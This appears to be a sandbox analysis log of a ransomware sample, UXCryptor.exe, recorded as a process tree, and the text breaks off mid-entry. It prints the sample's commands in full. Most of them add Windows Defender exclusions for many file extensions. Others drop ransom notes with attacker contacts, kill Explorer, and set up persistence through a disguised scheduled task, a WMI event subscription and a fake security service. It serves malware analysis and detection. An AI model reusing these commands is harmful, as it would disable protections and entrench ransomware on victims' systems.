  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9076
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
  2⤵
  PID:9084
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
  2⤵
  PID:9092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
  2⤵
  PID:9100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
  2⤵
  PID:9108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:9116
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
  2⤵
  PID:9124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
  2⤵
  PID:9164
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "9164" "1880" "1808" "1884" "0" "0" "1888" "0" "0" "0" "0" "0"
    3⤵
    PID:10340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
  2⤵
  PID:9172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9188
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
  2⤵
  PID:9196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:9204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:9212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
  2⤵
  PID:4704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
  2⤵
  PID:9220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
  2⤵
  PID:9228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
  2⤵
  PID:9236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
  2⤵
  PID:9244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
  2⤵
  PID:9252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
  2⤵
  PID:9260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
  2⤵
  PID:9268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
  2⤵
  PID:9276
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
  2⤵
  PID:9284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9292
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
  2⤵
  PID:9308
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
  2⤵
  PID:9316
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9348
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
  2⤵
  PID:9356
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9372
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
  2⤵
  PID:9380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9400
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
  2⤵
  PID:9408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
  2⤵
  PID:9416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
  2⤵
  PID:9424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9432
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
  2⤵
  PID:9456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
  2⤵
  PID:9472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
  2⤵
  PID:9480
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9480 -s 2276
    3⤵
    - Program crash
    PID:15076
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
  2⤵
  PID:9488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
  2⤵
  PID:9496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9496 -s 2120
    3⤵
    - Program crash
    PID:10068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
  2⤵
  PID:9504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
  2⤵
  PID:9512
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
  2⤵
  PID:9536
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
  2⤵
  PID:9560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
  2⤵
  PID:9568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
  2⤵
  PID:9576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
  2⤵
  PID:9584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9584 -s 2032
    3⤵
    - Program crash
    PID:20956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
  2⤵
  PID:9592
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
  2⤵
  PID:9600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
  2⤵
  PID:9616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
  2⤵
  PID:9624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
  2⤵
  PID:9648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
  2⤵
  PID:9672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
  2⤵
  PID:9680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
  2⤵
  PID:9688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
  2⤵
  PID:9696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
  2⤵
  PID:9704
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9704 -s 2132
    3⤵
    - Program crash
    PID:1772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
  2⤵
  PID:9712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
  2⤵
  PID:9720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9728
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
  2⤵
  PID:9736
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
  2⤵
  PID:9752
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
  2⤵
  PID:9760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9768
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
  2⤵
  PID:9776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
  2⤵
  PID:9792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
  2⤵
  PID:9800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
  2⤵
  PID:9808
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
  2⤵
  PID:9816
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
  2⤵
  PID:9824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
  2⤵
  PID:9832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
  2⤵
  PID:9840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
  2⤵
  PID:9848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
  2⤵
  PID:9856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
  2⤵
  PID:9864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
  2⤵
  PID:9872
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
  2⤵
  PID:9880
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
  2⤵
  PID:9888
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
  2⤵
  PID:9896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
  2⤵
  PID:9904
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
  2⤵
  PID:9912
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
  2⤵
  PID:9920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
  2⤵
  PID:9928
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9936
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
  2⤵
  PID:9944
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
  2⤵
  PID:9952
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
  2⤵
  PID:9960
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
  2⤵
  PID:9968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
  2⤵
  PID:9976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
  2⤵
  PID:9984
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
  2⤵
  PID:9992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
  2⤵
  PID:10000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
  2⤵
  PID:10008
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
  2⤵
  PID:10016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10024
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
  2⤵
  PID:10032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
  2⤵
  PID:10040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
  2⤵
  PID:10048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
  2⤵
  PID:10056
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
  2⤵
  PID:10064

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --init
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Disables RegEdit via registry modification
- Adds Run key to start application
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- System policy modification
PID:4524
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:14300
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:14308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:14316
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:14324
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:12244
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8756
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:12276
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsDefenderUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /sc onlogon /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:12296
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsSecurityFilter", EventNamespace="root\cimv2", Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
  2⤵
  PID:12328
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsSecurityConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  PID:10224
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsSecurityFilter\"", Consumer="CommandLineEventConsumer.Name=\"WindowsSecurityConsumer\""
  2⤵
  PID:7980
- C:\Windows\SysWOW64\sc.exe
  sc create WindowsSecurityService binPath= "C:\Windows\system32\winsecsvc.exe" start= auto DisplayName= "Windows Security Service"
  2⤵
  - Launches sc.exe
  PID:10276
- C:\Windows\SysWOW64\sc.exe
  sc description WindowsSecurityService "Provides Windows security and update management."
  2⤵
  - Launches sc.exe
  PID:10308
- C:\Windows\SysWOW64\sc.exe
